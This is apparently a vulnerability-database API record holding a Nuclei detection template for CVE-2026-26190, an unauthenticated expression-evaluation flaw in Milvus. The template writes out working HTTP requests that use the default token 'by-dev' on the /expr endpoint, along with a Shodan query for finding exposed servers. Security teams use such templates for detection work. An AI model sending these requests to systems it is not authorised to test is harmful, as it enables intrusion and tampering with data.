{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-26190/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-26190/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-26190/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-26190/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-26190/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-26190"},"sightings":{"href":"/api/v1/sightings/cve-2026-26190"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-26190.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-26190\n\ninfo:\n  name: Milvus - Unauthenticated Metrics API Access\n  author: WRG-11\n  severity: critical\n  description: |\n    Milvus < 2.5.27 and < 2.6.10 contains an authentication bypass caused by weak default token and unauthenticated REST API on TCP port 9091, letting attackers perform arbitrary expression evaluation and data manipulation, exploit requires network access to port 9091.\n  impact: |\n    Attackers can bypass authentication to execute arbitrary expressions and manipulate data, risking full system compromise.\n  remediation: |\n    Update to versions 2.5.27 or 2.6.10 or later.\n  reference:\n    - https://github.com/milvus-io/milvus/security/advisories/GHSA-7ppg-37fh-vcr6\n    - https://github.com/advisories/GHSA-7ppg-37fh-vcr6\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-26190\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-26190\n    epss-score: 0.36912\n    epss-percentile: 0.98443\n    cwe-id: CWE-306\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: milvus\n    product: milvus\n    shodan-query: 'http.html:\"404 page not found\" port:\"9091\"'\n  tags: cve,cve2026,milvus,auth-bypass,unauth,vkev\n\nvariables:\n  num1: \"{{rand_int(40000, 44800)}}\"\n  num2: \"{{rand_int(40000, 44800)}}\"\n  result: \"{{to_number(num1)*to_number(num2)}}\"\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /expr?auth={{randstr}}&code={{num1}}*{{num2}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'the expr auth is invalid'\n        internal: true\n\n  - raw:\n      - |\n        GET /expr?auth=by-dev&code={{num1}}*{{num2}} HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"output\":\"{{result}}\"'\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100bf5d9facc87fa8b81fd10f8dfea9c71371c50b8c7bc4ca4fb73c4108b9cf99bc022100a061c29116e052beb5322e1bc92dfe0015d238ae52a7a669c1a672560f581c56:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-26190"}